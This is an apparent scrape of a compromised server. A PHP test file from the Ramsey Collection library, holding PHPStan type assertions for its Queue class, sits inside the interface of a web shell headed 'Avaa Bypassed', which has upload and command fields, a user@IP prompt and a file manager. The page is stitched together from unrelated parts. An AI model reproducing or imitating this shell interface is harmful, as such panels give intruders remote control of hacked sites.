404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.188.227.15: ~ $
<?php

// phpcs:disable

declare(strict_types=1);

namespace Ramsey\Collection\Test\types;

use Ramsey\Collection\Queue;
use Ramsey\Collection\Test\Mock\Person;

use function PHPStan\Testing\assertType;

$jane = new Person('Jane');
$john = new Person('John');

$persons = new Queue(Person::class, [$jane, $john]);

assertType('Ramsey\Collection\Queue<Ramsey\Collection\Test\Mock\Person>', $persons);

assertType(Person::class, $persons[0]);
assertType(Person::class, $persons[1]);
assertType(Person::class, $persons->offsetGet(0));
assertType('array<Ramsey\Collection\Test\Mock\Person>', $persons->toArray());
assertType('array<Ramsey\Collection\Test\Mock\Person>', $persons->__serialize());
assertType('Traversable<(int|string), Ramsey\Collection\Test\Mock\Person>', $persons->getIterator());

foreach ($persons as $person) {
    assertType(Person::class, $person);
}

assertType(Person::class, $persons->element());
assertType(Person::class . '|null', $persons->peek());
assertType(Person::class . '|null', $persons->poll());
assertType(Person::class, $persons->remove());

Filemanager

Name Type Size Permission Actions
arrays.php File 2.95 KB 0644
collections.php File 2.56 KB 0644
dequeues.php File 1.56 KB 0644
maps.php File 3.92 KB 0644
queues.php File 1.08 KB 0644
sets.php File 2.53 KB 0644